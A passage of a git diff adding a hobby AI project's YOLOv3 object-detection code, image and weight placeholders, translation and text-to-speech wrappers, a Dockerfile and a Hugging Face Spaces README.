+ out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + else: + print('unknown type %s' % (block['type'])) + + +def load_conv(buf, start, conv_model): + num_w = conv_model.weight.numel() + num_b = conv_model.bias.numel() + conv_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b])); start = start + num_b + conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)); start = start + num_w + return start + + +def load_conv_bn(buf, start, conv_model, bn_model): + num_w = conv_model.weight.numel() + num_b = bn_model.bias.numel() + bn_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b])); start = start + num_b + bn_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_b])); start = start + num_b + bn_model.running_mean.copy_(torch.from_numpy(buf[start:start+num_b])); start = start + num_b + bn_model.running_var.copy_(torch.from_numpy(buf[start:start+num_b])); start = start + num_b + conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)); start = start + num_w + return start diff --git a/CaesarObjectDetection/data/coco.names b/CaesarObjectDetection/data/coco.names new file mode 100644 index 0000000000000000000000000000000000000000..df9c3838f1e5de39d05cce807906d53e619c396a --- /dev/null +++ b/CaesarObjectDetection/data/coco.names @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:634a1132eb33f8091d60f2c346ababe8b905ae08387037aed883953b7329af84 +size 625 diff --git a/CaesarObjectDetection/images/cat.jpg b/CaesarObjectDetection/images/cat.jpg new file mode 100644 index 0000000000000000000000000000000000000000..5c38a873805d1528a1043fd2270f824e75a8ec2e --- /dev/null +++ b/CaesarObjectDetection/images/cat.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:59b67bce343d435cb8f79b6abefc6eecc79924abcda6e7c7e39f8173bb932bc1 +size 140391 diff --git a/CaesarObjectDetection/images/city_scene.jpg b/CaesarObjectDetection/images/city_scene.jpg new file mode 100644 index 0000000000000000000000000000000000000000..bd1b5562d64af6b9a6bb5ff86eaf96fd67a4c41a --- /dev/null +++ b/CaesarObjectDetection/images/city_scene.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1ed99224f2484ce64b517070a0a82c2e1b5dc33df0532952fe28d4d2c3bade65 +size 201564 diff --git a/CaesarObjectDetection/images/dog.jpg b/CaesarObjectDetection/images/dog.jpg new file mode 100644 index 0000000000000000000000000000000000000000..4b37071c4b38a5112c700e7a3d46ebb351d9b494 --- /dev/null +++ b/CaesarObjectDetection/images/dog.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5a9522051c3cec2bbd2f6323fccba32e8fbf3ddcc2b3e2fd46b04c720bc6f866 +size 163759 diff --git a/CaesarObjectDetection/images/dog2.jpg b/CaesarObjectDetection/images/dog2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ab09fb5437f5b7514a4fd1b5779cd61676e7a0f6 --- /dev/null +++ b/CaesarObjectDetection/images/dog2.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:de6e1fbb6b8569bb85d2e82c9aa6cc528ac87fba11135c1f3691789a27fc13a5 +size 176151 diff --git a/CaesarObjectDetection/images/eagle.jpg b/CaesarObjectDetection/images/eagle.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d816b4f6a00a4dd2160c5d19833bc8d79cbf6aa8 --- /dev/null +++ b/CaesarObjectDetection/images/eagle.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f95f57297fd51a6c5ddceb5ed6916fa759d1d65f402fee34c05b31a9608755c0 +size 141886 diff --git a/CaesarObjectDetection/images/food.jpg b/CaesarObjectDetection/images/food.jpg new file mode 100644 index 0000000000000000000000000000000000000000..571af4f87ce9d4dbda34f9fbb10e6f1cfccd9f25 --- /dev/null +++ b/CaesarObjectDetection/images/food.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b3e948b5204edad6d3a340c941e9e300f3a19db555b52833bbcd95adf478bd8f +size 158943 diff --git a/CaesarObjectDetection/images/giraffe.jpg b/CaesarObjectDetection/images/giraffe.jpg new file mode 100644 index 0000000000000000000000000000000000000000..235d951b1cbc03c831634f52813266910303131b --- /dev/null +++ b/CaesarObjectDetection/images/giraffe.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:00dc48a9b2af8a1fe4c4b79319726591f1033c7e1150f21e7577a79f3b6659f1 +size 382965 diff --git a/CaesarObjectDetection/images/horses.jpg b/CaesarObjectDetection/images/horses.jpg new file mode 100644 index 0000000000000000000000000000000000000000..1e2d1b71e64c76812dd2d883a14af343531c1434 --- /dev/null +++ b/CaesarObjectDetection/images/horses.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c8f0a677a1356569e2ce71d2fa88c1030c0ae57ecf5e14170e02d9a86a20dcb4 +size 133495 diff --git a/CaesarObjectDetection/images/man-in-black-and-white-jacket-riding-brown-horse-3596689.jpg b/CaesarObjectDetection/images/man-in-black-and-white-jacket-riding-brown-horse-3596689.jpg new file mode 100644 index 0000000000000000000000000000000000000000..4a9bf7416614fb988ac1309582df7e209b1e07fc --- /dev/null +++ b/CaesarObjectDetection/images/man-in-black-and-white-jacket-riding-brown-horse-3596689.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c77ded346e75222d258914afa5440696c05a06618bd88a5999f89f703ea1a4df +size 159544 diff --git a/CaesarObjectDetection/images/motorbike.jpg b/CaesarObjectDetection/images/motorbike.jpg new file mode 100644 index 0000000000000000000000000000000000000000..0af525307c21cc06c06e7490679e58bdb7f0402c --- /dev/null +++ b/CaesarObjectDetection/images/motorbike.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5989b6ebb93d424b2304378ef164c0c41f4e04fb82837393cff765220001f798 +size 251930 diff --git a/CaesarObjectDetection/images/nathan-rogers-jMmv6HhHb0k-unsplash.jpg b/CaesarObjectDetection/images/nathan-rogers-jMmv6HhHb0k-unsplash.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e192ff43e7ec98a0a307e5db077f42d9d732d887 --- /dev/null +++ b/CaesarObjectDetection/images/nathan-rogers-jMmv6HhHb0k-unsplash.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5948173f8451452490257b00a98794f9611dc4f77b56981aaec8d2e856c1f61d +size 264731 diff --git a/CaesarObjectDetection/images/person.jpg b/CaesarObjectDetection/images/person.jpg new file mode 100644 index 0000000000000000000000000000000000000000..1434f2830d1b9865e06d1063b49e449b02a2dd84 --- /dev/null +++ b/CaesarObjectDetection/images/person.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cdcbab947e46110fc2b77784ac54ddbbab2640f1e44cb5e91fc8984a9793a7d1 +size 113880 diff --git a/CaesarObjectDetection/images/street.jpg b/CaesarObjectDetection/images/street.jpg new file mode 100644 index 0000000000000000000000000000000000000000..fa7f3ebcadd0c8898991b9766a2dfd63dd2ed6d5 --- /dev/null +++ b/CaesarObjectDetection/images/street.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:aad4ddf44358ff968eb6c4d081563ebef924fc7a288da6f3213d12e84ee332f7 +size 305398 diff --git a/CaesarObjectDetection/images/surf.jpg b/CaesarObjectDetection/images/surf.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ddeedfedfb043de0b46be708bd683d4b7c3c49f7 --- /dev/null +++ b/CaesarObjectDetection/images/surf.jpg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f29f9513bc1129131516c9be80dfcb7ff6302d66d6d20da6ac434dcab595b12c +size 68073 diff --git a/CaesarObjectDetection/read_video.py b/CaesarObjectDetection/read_video.py new file mode 100644 index 0000000000000000000000000000000000000000..752d37a7794050530b302008279019bc11e9d5fe --- /dev/null +++ b/CaesarObjectDetection/read_video.py @@ -0,0 +1,112 @@ +import cv2 +import numpy as np + +import time +import sys + +CONFIDENCE = 0.5 +SCORE_THRESHOLD = 0.5 +IOU_THRESHOLD = 0.5 +config_path = "cfg/yolov3.cfg" +weights_path = "weights/yolov3.weights" +font_scale = 1 +thickness = 1 +labels = open("data/coco.names").read().strip().split("\n") +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +net = cv2.dnn.readNetFromDarknet(config_path, weights_path) + +ln = net.getLayerNames() +try: + ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +except IndexError: + # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available + ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()] +# read the file from the command line +video_file = sys.argv[1] +cap = cv2.VideoCapture(video_file) +_, image = cap.read() +h, w = image.shape[:2] +fourcc = cv2.VideoWriter_fourcc(*"XVID") +out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h)) +while True: + _, image = cap.read() + + h, w = image.shape[:2] + blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False) + net.setInput(blob) + start = time.perf_counter() + layer_outputs = net.forward(ln) + time_took = time.perf_counter() - start + print("Time took:", time_took) + boxes, confidences, class_ids = [], [], [] + + # loop over each of the layer outputs + for output in layer_outputs: + # loop over each of the object detections + for detection in output: + # extract the class id (label) and confidence (as a probability) of + # the current object detection + scores = detection[5:] + class_id = np.argmax(scores) + confidence = scores[class_id] + # discard weak predictions by ensuring the detected + # probability is greater than the minimum probability + if confidence > CONFIDENCE: + # scale the bounding box coordinates back relative to the + # size of the image, keeping in mind that YOLO actually + # returns the center (x, y)-coordinates of the bounding + # box followed by the boxes' width and height + box = detection[:4] * np.array([w, h, w, h]) + (centerX, centerY, width, height) = box.astype("int") + + # use the center (x, y)-coordinates to derive the top and + # and left corner of the bounding box + x = int(centerX - (width / 2)) + y = int(centerY - (height / 2)) + + # update our list of bounding box coordinates, confidences, + # and class IDs + boxes.append([x, y, int(width), int(height)]) + confidences.append(float(confidence)) + class_ids.append(class_id) + + # perform the non maximum suppression given the scores defined before + idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD) + + font_scale = 1 + thickness = 1 + + # ensure at least one detection exists + if len(idxs) > 0: + # loop over the indexes we are keeping + for i in idxs.flatten(): + # extract the bounding box coordinates + x, y = boxes[i][0], boxes[i][1] + w, h = boxes[i][2], boxes[i][3] + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_ids[i]]] + cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness) + text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = x + text_offset_y = y - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + out.write(image) + cv2.imshow("image", image) + + if ord("q") == cv2.waitKey(1): + break + + +cap.release() +cv2.destroyAllWindows() \ No newline at end of file diff --git a/CaesarObjectDetection/requirements.txt b/CaesarObjectDetection/requirements.txt new file mode 100644 index 0000000000000000000000000000000000000000..ad07e21cd764c3405c249b81513a8e0d8dd2c3ca --- /dev/null +++ b/CaesarObjectDetection/requirements.txt @@ -0,0 +1,3 @@ +opencv-python +numpy +matplotlib \ No newline at end of file diff --git a/CaesarObjectDetection/sendweb.py b/CaesarObjectDetection/sendweb.py new file mode 100644 index 0000000000000000000000000000000000000000..816a0cd8b1aa4e2f580a008b9599cbe44635c582 --- /dev/null +++ b/CaesarObjectDetection/sendweb.py @@ -0,0 +1,51 @@ + +import socketio +import cv2 +import numpy as np +import requests +import base64 +import time +#sio = socketio.Client() + +#sio.connect('http://localhost:5000') + +#sio.emit('man', {'from': 'client'}) + +#@sio.on("capture") +#def capture(): + + + #cv2.imshow("image", image) + #if ord("q") == cv2.waitKey(1): + # break + + #cap.release() + #cv2.destroyAllWindows() + + +#@sio.on('response') +#def response(data): +# print(data) # {'from': 'server'} + +# sio.disconnect() +# exit(0) + +cap = cv2.VideoCapture(0) +while True: + _, image = cap.read() + response = requests.post("http://127.0.0.1:5000/caesarobjectdetect",json={"frame":base64.b64encode(image).decode()}) + imagebase64 = np.array(response.json()["frame"]) + + image = np.frombuffer(base64.b64decode(imagebase64),dtype="uint8").reshape(480,640,3) + cv2.imshow("image", image) + if ord("q") == cv2.waitKey(1): + break + +cap.release() +cv2.destroyAllWindows() + # @sio.on('caesarobjectresponse') + #def caesarobjectresponse(image): + # #print(image) + # cv2.imshow("image", {'frame':np.array(image["frame"])}) + #sio.emit("caesarobjectdetect",{'frame':str(image)}) + \ No newline at end of file diff --git a/CaesarObjectDetection/stop b/CaesarObjectDetection/stop new file mode 100644 index 0000000000000000000000000000000000000000..bca70f35318f31dd1d1d1d2d2e64c19b880899ff --- /dev/null +++ b/CaesarObjectDetection/stop @@ -0,0 +1 @@ +q diff --git a/CaesarObjectDetection/utils.py b/CaesarObjectDetection/utils.py new file mode 100644 index 0000000000000000000000000000000000000000..b280bfd0f44c1bb424407f80f69676eee2d80ea2 --- /dev/null +++ b/CaesarObjectDetection/utils.py @@ -0,0 +1,267 @@ +import time +import torch +import numpy as np +import matplotlib.pyplot as plt +import matplotlib.patches as patches + + +def boxes_iou(box1, box2): + """ + Returns the IOU between `box1` and `box2` (i.e intersection area divided by union area) + """ + # Get the Width and Height of each bounding box + width_box1 = box1[2] + height_box1 = box1[3] + width_box2 = box2[2] + height_box2 = box2[3] + + # Calculate the area of the each bounding box + area_box1 = width_box1 * height_box1 + area_box2 = width_box2 * height_box2 + + # Find the vertical edges of the union of the two bounding boxes + mx = min(box1[0] - width_box1/2.0, box2[0] - width_box2/2.0) + Mx = max(box1[0] + width_box1/2.0, box2[0] + width_box2/2.0) + + # Calculate the width of the union of the two bounding boxes + union_width = Mx - mx + + # Find the horizontal edges of the union of the two bounding boxes + my = min(box1[1] - height_box1/2.0, box2[1] - height_box2/2.0) + My = max(box1[1] + height_box1/2.0, box2[1] + height_box2/2.0) + + # Calculate the height of the union of the two bounding boxes + union_height = My - my + + # Calculate the width and height of the area of intersection of the two bounding boxes + intersection_width = width_box1 + width_box2 - union_width + intersection_height = height_box1 + height_box2 - union_height + + # If the the boxes don't overlap then their IOU is zero + if intersection_width <= 0 or intersection_height <= 0: + return 0.0 + + # Calculate the area of intersection of the two bounding boxes + intersection_area = intersection_width * intersection_height + + # Calculate the area of the union of the two bounding boxes + union_area = area_box1 + area_box2 - intersection_area + + # Calculate the IOU + iou = intersection_area/union_area + + return iou + + +def nms(boxes, iou_thresh): + """ + Performs Non maximal suppression technique to `boxes` using `iou_thresh` threshold + """ + # print(boxes.shape) + # If there are no bounding boxes do nothing + if len(boxes) == 0: + return boxes + + # Create a PyTorch Tensor to keep track of the detection confidence + # of each predicted bounding box + det_confs = torch.zeros(len(boxes)) + + # Get the detection confidence of each predicted bounding box + for i in range(len(boxes)): + det_confs[i] = boxes[i][4] + + # Sort the indices of the bounding boxes by detection confidence value in descending order. + # We ignore the first returned element since we are only interested in the sorted indices + _,sortIds = torch.sort(det_confs, descending = True) + + # Create an empty list to hold the best bounding boxes after + # Non-Maximal Suppression (NMS) is performed + best_boxes = [] + + # Perform Non-Maximal Suppression + for i in range(len(boxes)): + + # Get the bounding box with the highest detection confidence first + box_i = boxes[sortIds[i]] + + # Check that the detection confidence is not zero + if box_i[4] > 0: + + # Save the bounding box + best_boxes.append(box_i) + + # Go through the rest of the bounding boxes in the list and calculate their IOU with + # respect to the previous selected box_i. + for j in range(i + 1, len(boxes)): + box_j = boxes[sortIds[j]] + + # If the IOU of box_i and box_j is higher than the given IOU threshold set + # box_j's detection confidence to zero. + if boxes_iou(box_i, box_j) > iou_thresh: + box_j[4] = 0 + + return best_boxes + + +def detect_objects(model, img, iou_thresh, nms_thresh): + + # Start the time. This is done to calculate how long the detection takes. + start = time.time() + + # Set the model to evaluation mode. + model.eval() + + # Convert the image from a NumPy ndarray to a PyTorch Tensor of the correct shape. + # The image is transposed, then converted to a FloatTensor of dtype float32, then + # Normalized to values between 0 and 1, and finally unsqueezed to have the correct + # shape of 1 x 3 x 416 x 416 + img = torch.from_numpy(img.transpose(2,0,1)).float().div(255.0).unsqueeze(0) + + # Feed the image to the neural network with the corresponding NMS threshold. + # The first step in NMS is to remove all bounding boxes that have a very low + # probability of detection. All predicted bounding boxes with a value less than + # the given NMS threshold will be removed. + list_boxes = model(img, nms_thresh) + + # Make a new list with all the bounding boxes returned by the neural network + boxes = list_boxes[0][0] + list_boxes[1][0] + list_boxes[2][0] + + # Perform the second step of NMS on the bounding boxes returned by the neural network. + # In this step, we only keep the best bounding boxes by eliminating all the bounding boxes + # whose IOU value is higher than the given IOU threshold + boxes = nms(boxes, iou_thresh) + + # Stop the time. + finish = time.time() + + # Print the time it took to detect objects + print('\n\nIt took {:.3f}'.format(finish - start), 'seconds to detect the objects in the image.\n') + + # Print the number of objects detected + print('Number of Objects Detected:', len(boxes), '\n') + + return boxes + + +def load_class_names(namesfile): + + # Create an empty list to hold the object classes + class_names = [] + + # Open the file containing the COCO object classes in read-only mode + with open(namesfile, 'r') as fp: + + # The coco.names file contains only one object class per line. + # Read the file line by line and save all the lines in a list. + lines = fp.readlines() + + # Get the object class names + for line in lines: + + # Make a copy of each line with any trailing whitespace removed + line = line.rstrip() + + # Save the object class name into class_names + class_names.append(line) + + return class_names + + +def print_objects(boxes, class_names): + print('Objects Found and Confidence Level:\n') + for i in range(len(boxes)): + box = boxes[i] + if len(box) >= 7 and class_names: + cls_conf = box[5] + cls_id = box[6] + print('%i. %s: %f' % (i + 1, class_names[cls_id], cls_conf)) + + +def plot_boxes(img, boxes, class_names, plot_labels, color = None): + + # Define a tensor used to set the colors of the bounding boxes + colors = torch.FloatTensor([[1,0,1],[0,0,1],[0,1,1],[0,1,0],[1,1,0],[1,0,0]]) + + # Define a function to set the colors of the bounding boxes + def get_color(c, x, max_val): + ratio = float(x) / max_val * 5 + i = int(np.floor(ratio)) + j = int(np.ceil(ratio)) + + ratio = ratio - i + r = (1 - ratio) * colors[i][c] + ratio * colors[j][c] + + return int(r * 255) + + # Get the width and height of the image + width = img.shape[1] + height = img.shape[0] + + # Create a figure and plot the image + fig, a = plt.subplots(1,1) + a.imshow(img) + + # Plot the bounding boxes and corresponding labels on top of the image + for i in range(len(boxes)): + + # Get the ith bounding box + box = boxes[i] + + # Get the (x,y) pixel coordinates of the lower-left and lower-right corners + # of the bounding box relative to the size of the image. + x1 = int(np.around((box[0] - box[2]/2.0) * width)) + y1 = int(np.around((box[1] - box[3]/2.0) * height)) + x2 = int(np.around((box[0] + box[2]/2.0) * width)) + y2 = int(np.around((box[1] + box[3]/2.0) * height)) + + # Set the default rgb value to red + rgb = (1, 0, 0) + + # Use the same color to plot the bounding boxes of the same object class + if len(box) >= 7 and class_names: + cls_conf = box[5] + cls_id = box[6] + classes = len(class_names) + offset = cls_id * 123457 % classes + red = get_color(2, offset, classes) / 255 + green = get_color(1, offset, classes) / 255 + blue = get_color(0, offset, classes) / 255 + + # If a color is given then set rgb to the given color instead + if color is None: + rgb = (red, green, blue) + else: + rgb = color + + # Calculate the width and height of the bounding box relative to the size of the image. + width_x = x2 - x1 + width_y = y1 - y2 + + # Set the postion and size of the bounding box. (x1, y2) is the pixel coordinate of the + # lower-left corner of the bounding box relative to the size of the image. + rect = patches.Rectangle((x1, y2), + width_x, width_y, + linewidth = 2, + edgecolor = rgb, + facecolor = 'none') + + # Draw the bounding box on top of the image + a.add_patch(rect) + + # If plot_labels = True then plot the corresponding label + if plot_labels: + + # Create a string with the object class name and the corresponding object class probability + conf_tx = class_names[cls_id] + ': {:.1f}'.format(cls_conf) + + # Define x and y offsets for the labels + lxc = (img.shape[1] * 0.266) / 100 + lyc = (img.shape[0] * 1.180) / 100 + + # Draw the labels on top of the image + a.text(x1 + lxc, y1 - lyc, conf_tx, fontsize = 12, color = 'k', + bbox = dict(facecolor = rgb, edgecolor = rgb, alpha = 0.6)) + + plt.axis("off") + plt.savefig("output.jpg") + plt.show() diff --git a/CaesarObjectDetection/weights/yolov3.weights b/CaesarObjectDetection/weights/yolov3.weights new file mode 100644 index 0000000000000000000000000000000000000000..550ca2f10867af32a8434dd7cddb5d305a77c97f --- /dev/null +++ b/CaesarObjectDetection/weights/yolov3.weights @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:523e4e69e1d015393a1b0a441cef1d9c7659e3eb2d7e15f793f060a21b32f297 +size 248007048 diff --git a/CaesarObjectDetection/yolo.py b/CaesarObjectDetection/yolo.py new file mode 100644 index 0000000000000000000000000000000000000000..2739d8246533068a75d6f93c985ced50f8409ee8 --- /dev/null +++ b/CaesarObjectDetection/yolo.py @@ -0,0 +1,23 @@ +import cv2 +import matplotlib.pyplot as plt +from utils import * +from darknet import Darknet + +# Set the NMS Threshold +score_threshold = 0.6 +# Set the IoU threshold +iou_threshold = 0.4 +cfg_file = "cfg/yolov3.cfg" +weight_file = "weights/yolov3.weights" +namesfile = "data/coco.names" +m = Darknet(cfg_file) +m.load_weights(weight_file) +class_names = load_class_names(namesfile) +# m.print_network() +original_image = cv2.imread("images/city_scene.jpg") +original_image = cv2.cvtColor(original_image, cv2.COLOR_BGR2RGB) +img = cv2.resize(original_image, (m.width, m.height)) +# detect the objects +boxes = detect_objects(m, img, iou_threshold, score_threshold) +# plot the image with the bounding boxes and corresponding object class labels +plot_boxes(original_image, boxes, class_names, plot_labels=True) \ No newline at end of file diff --git a/CaesarObjectDetection/yolo_opencv.py b/CaesarObjectDetection/yolo_opencv.py new file mode 100644 index 0000000000000000000000000000000000000000..d4d7a86b22bc6fe39beb0e04bd5f971286251fc5 --- /dev/null +++ b/CaesarObjectDetection/yolo_opencv.py @@ -0,0 +1,119 @@ +import cv2 +import numpy as np + +import time +import sys +import os + +CONFIDENCE = 0.5 +SCORE_THRESHOLD = 0.5 +IOU_THRESHOLD = 0.5 + +# the neural network configuration +config_path = "cfg/yolov3.cfg" +# the YOLO net weights file +weights_path = "weights/yolov3.weights" + +# loading all the class labels (objects) +labels = open("data/coco.names").read().strip().split("\n") +# generating colors for each object for later plotting +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +# load the YOLO network +net = cv2.dnn.readNetFromDarknet(config_path, weights_path) + +# path_name = "images/city_scene.jpg" +path_name = sys.argv[1] +image = cv2.imread(path_name) +file_name = os.path.basename(path_name) +filename, ext = file_name.split(".") + +h, w = image.shape[:2] +# create 4D blob +blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False) + +# sets the blob as the input of the network +net.setInput(blob) + +# get all the layer names +ln = net.getLayerNames() +try: + ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] +except IndexError: + # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available + ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()] +# feed forward (inference) and get the network output +# measure how much it took in seconds +start = time.perf_counter() +layer_outputs = net.forward(ln) +time_took = time.perf_counter() - start +print(f"Time took: {time_took:.2f}s") + +boxes, confidences, class_ids = [], [], [] + +# loop over each of the layer outputs +for output in layer_outputs: + # loop over each of the object detections + for detection in output: + # extract the class id (label) and confidence (as a probability) of + # the current object detection + scores = detection[5:] + class_id = np.argmax(scores) + confidence = scores[class_id] + # discard weak predictions by ensuring the detected + # probability is greater than the minimum probability + if confidence > CONFIDENCE: + # scale the bounding box coordinates back relative to the + # size of the image, keeping in mind that YOLO actually + # returns the center (x, y)-coordinates of the bounding + # box followed by the boxes' width and height + box = detection[:4] * np.array([w, h, w, h]) + (centerX, centerY, width, height) = box.astype("int") + + # use the center (x, y)-coordinates to derive the top and + # and left corner of the bounding box + x = int(centerX - (width / 2)) + y = int(centerY - (height / 2)) + + # update our list of bounding box coordinates, confidences, + # and class IDs + boxes.append([x, y, int(width), int(height)]) + confidences.append(float(confidence)) + class_ids.append(class_id) + +# perform the non maximum suppression given the scores defined before +idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD) + +font_scale = 1 +thickness = 1 + +# ensure at least one detection exists +if len(idxs) > 0: + # loop over the indexes we are keeping + for i in idxs.flatten(): + # extract the bounding box coordinates + x, y = boxes[i][0], boxes[i][1] + w, h = boxes[i][2], boxes[i][3] + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_ids[i]]] + cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness) + text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = x + text_offset_y = y - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + +# cv2.imshow("image", image) +# if cv2.waitKey(0) == ord("q"): +# pass + +cv2.imwrite(filename + "_yolo3." + ext, image) \ No newline at end of file diff --git a/CaesarResemble.py b/CaesarResemble.py new file mode 100644 index 0000000000000000000000000000000000000000..8f324fa2b2c1b6b0ca1c5b9396024a1f92a38595 --- /dev/null +++ b/CaesarResemble.py @@ -0,0 +1,14 @@ +from resemble import Resemble +#https://www.resemble.ai/python/ +#https://www.resemble.ai/cloned/ +response = Resemble.v2.voices.create('AI Scott') +print(response) +#with open("resembledata/resemb.wav", 'rb') as file: +# response = Resemble.v2.recordings.create( +# response['item']['uuid']) + + #, + #file, + #'audio.wav', + #'This is the transcript') +#Resemble.v2.voices.build(response['item']['uuid']) \ No newline at end of file diff --git a/CaesarTranslate.py b/CaesarTranslate.py new file mode 100644 index 0000000000000000000000000000000000000000..843c1145659103d66be891c6eabe0b70a702f89d --- /dev/null +++ b/CaesarTranslate.py @@ -0,0 +1,26 @@ +from googletrans import Translator, constants +from pprint import pprint +import os +os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' +class CaesarLangTranslate: + def __init__(self) -> None: + self.translator = Translator() + @classmethod + def all_languages(): + print("Total supported languages:", len(constants.LANGUAGES)) + print("Languages:") + pprint(constants.LANGUAGES) + def translate(self,text,src="fr",lang="en",verbose=False,response=False): + if response == True: + src = "en" + + #lang = self.translator.detect(text).lang + elif response == False: + src = self.translator.detect(text).lang + #print(src) + translation = self.translator.translate(text,src=src,dest=lang) + #print(f"{translation.origin} ({translation.src}) --> {translation.text} ({translation.dest})") + if verbose == True: + pprint(translation.extra_data) + return translation.origin,translation.text,translation.dest,src + diff --git a/CaesarVoice.py b/CaesarVoice.py new file mode 100644 index 0000000000000000000000000000000000000000..69e29b56f33d826d0474ea1e83863e0ba1b95870 --- /dev/null +++ b/CaesarVoice.py @@ -0,0 +1,7 @@ +from gtts import gTTS +import os +class CaesarVoice: + @classmethod + def synthesise(self,text,filename="temp.wav",lang='en'): + caesargtts = gTTS(text=text, lang=lang) + caesargtts.save(f"{filename}") diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000000000000000000000000000000000000..5ca130ddd650b92bbd797a3f122fa974cf83d21f --- /dev/null +++ b/Dockerfile @@ -0,0 +1,31 @@ +# Use the official Python 3.9 image +FROM python:3.7 +RUN export PYTHONPATH=$PWD +RUN apt-get update && apt-get install curl ffmpeg libsm6 libxext6 uvicorn libopencv-dev python3-opencv tesseract-ocr -y +RUN pip install uvicorn +# Set the working directory to /code +WORKDIR /code +#VOLUME /home/amari/Desktop/CaesarAI/CaesarFastAPI /code +# Copy the current directory contents into the container at /code +COPY ./requirements.txt /code/requirements.txt + +# Install requirements.txt +RUN pip install --no-cache-dir --upgrade -r /code/requirements.txt + +# Set up a new user named "user" with user ID 1000 +RUN useradd -m -u 1000 user +# Switch to the "user" user +USER user +# Set home to the user's home directory +ENV HOME=/home/user \ + PATH=/home/user/.local/bin:$PATH + +# Set the working directory to the user's home directory +WORKDIR $HOME/app + +# Copy the current directory contents into the container at $HOME/app setting the owner to the user +COPY --chown=user . $HOME/app + +CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "7860","--reload"] + + diff --git a/README.md b/README.md new file mode 100644 index 0000000000000000000000000000000000000000..6c891cf40dfabac01ac6e00c07750a5b4bfbd08b --- /dev/null +++ b/README.md @@ -0,0 +1,14 @@ +--- +title: CaesarAIAPI +emoji: 🐢 +colorFrom: indigo +colorTo: gray +sdk: docker +pinned: false +license: mit +--- + +Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference + +Build docker file: sudo docker build -t caesaraiapi -f Dockerfile . +Run docker file: sudo docker run -it -v "$(pwd):/home/user/app" -p 7860:7860 caesaraiapi diff --git 